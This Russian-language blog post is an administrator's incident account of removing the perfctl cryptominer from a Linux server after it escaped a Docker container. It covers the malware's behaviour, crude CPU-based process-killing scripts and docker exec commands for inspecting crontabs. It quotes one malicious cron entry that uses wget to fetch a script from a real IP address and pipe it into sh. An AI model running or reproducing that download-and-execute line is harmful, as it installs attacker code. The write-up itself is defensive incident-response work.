Menu

Удаление вредоносного ПО perfctl

Даже не вспомню, в каком году я наблюдал заражённый сервер с Linux... но лет 10 уже не видел такого чуда. И вот, один из моих серверов оказался "больным" - и это в конце 2024 года! Стоило чуть-чуть ослабить контроль, и какая-то дрянь выломалась из контейнера Docker.

Среди процессов появляется perfctl, который забирает всё процессорное время и чуть больше 2 Гб ОЗУ. Как можно такое терпеть!?

С чем же мы столкнулись?

Вредоносное ПО Perfctl представляет собой сложную и скрытную угрозу для систем на базе Linux. Оно получило свое название от компонента, который скрытно добывает криптовалюту, и маскируется под легитимные системные процессы Linux. Perfctl использует более 20 000 известных ошибок конфигурации и уязвимостей, таких как CVE-2023-33246 в Apache RocketMQ и CVE-2021-4043 в Gpac, для проникновения в системы и установления постоянного доступа. Кроме того, вредоносное ПО perfctl может эксплуатировать уязвимости в Polkit, в частности, известную как CVE-2021-4034 или PwnKit. Эта уязвимость позволяет злоумышленникам повысить привилегии до уровня root, что является критическим для установления и поддержания контроля над скомпрометированной системой. После повышения привилегий, perfctl может внедрить майнер под названием perfcc, который используется для добычи криптовалюты.

После проникновения, Perfctl работает тихо, используя руткиты для сокрытия своего присутствия от операционной системы и административных инструментов. Он активируется только тогда, когда сервер бездействует, что затрудняет его обнаружение. Вредоносное ПО создает бэкдор, повышает привилегии и позволяет удаленно управлять зараженным сервером. Основные цели Perfctl — майнинг криптовалюты и прокси-джекинг, при котором скомпрометированные серверы используются как прокси-серверы для анонимизации трафика. Perfctl также способен оставаться на зараженной машине после перезагрузок или попыток удаления, копируя себя в различные места на диске и загружаясь раньше легитимных рабочих нагрузок. Для передачи управления и данных, Perfctl может использовать сокет Unix через сеть Tor, что делает его внешние команды трудно отслеживаемыми. Вредоносное ПО может подавлять сообщения об ошибках и блокировать конкурирующие вирусы, чтобы сохранять контроль над системой.

По некоторым оценкам, Perfctl заразил тысячи серверов, а потенциально уязвимых машин — миллионы. Различные модификации встречаются с 2021 года.

Вишенка на торте: ClamAV особо не помог. Более того, если на заражённый сервер поставить ClamAV, то вредоносное ПО совершенно спокойно начинает работать из-под пользователя clamav :)

Лечение

1. Скорая помощь

Сначала лечим симптомы, чтобы вообще можно было работать с сервером.

Скрипт, который бесконечно убивает процессы, использующие более 100% процессорного времени (будет идеально работать для 2xCPU).

#!/bin/bash

while true; do
# Получаем список процессов с использованием CPU
top -b -n 1 -o %CPU | awk 'NR>7 {if ($9 > 100) print $1, $9}' | while read pid cpu_usage; do
# Получаем имя процесса
process_name=$(ps -p $pid -o comm=)

# Выводим информацию о процессе и завершаем его
echo "Процесс с PID $pid ($process_name) использует $cpu_usage% CPU. Завершаем..."
kill -9 $pid
done
# Пауза на 2 секунды
sleep 2
done

Аналогичный скрипт, который удобно повесить на cron с вызовом каждую минуту.

#!/bin/bash

#while true; do
for i in {1..30}; do
# Получаем список процессов с использованием CPU
top -b -n 1 -o %CPU | awk 'NR>7 {if ($9 > 100) print $1, $9}' | while read pid cpu_usage; do
# Получаем имя процесса
process_name=$(ps -p $pid -o comm=)

# Выводим информацию о процессе и завершаем его
echo "Процесс с PID $pid ($process_name) использует $cpu_usage% CPU. Завершаем..."
kill -9 $pid
done
# Пауза на 2 секунды
sleep 2
done

2. Расследование

В результате расследования оказалось, что perfctl запускается из контейнера, затем вылезает на хост-машину, после запуска подчищает файл. Для запуска используются 2 директории:

/var/tmp/

/tmp

Если достаточно часто или изощрённо убивать процесс, то он начинает менять имя. Например: kdevtmpfsi.

Далее, на самом сервере никаких заданий обнаружено не было, однако раз в 1-10 секунд вредоносный процесс продолжал запускаться. Было обнаружено лишнее задание cron одного из контейнеров.

Команда:

docker exec 129978b585fb bash -c 'for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done'
docker exec 129978b585fb bash -c 'sudo crontab -r -u www-data'
docker exec --user root 129978b585fb bash -c 'for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done'
docker exec --user root 129978b585fb bash -c 'dpkg -l | grep -E cron'

Одна из строк вывода:

* * * * * wget -q -O - http://185.81.68.124/unk.sh | sh > /dev/null 2>&1

Удаляем лишнее задание.

Если есть возможность, удаляем пакет cron целиком из контейнера.

Выводы

Продолжение следует...

Авторизуйтесь, чтобы получить возможность оставлять комментарии

Другие материалы в этой категории:

Go to top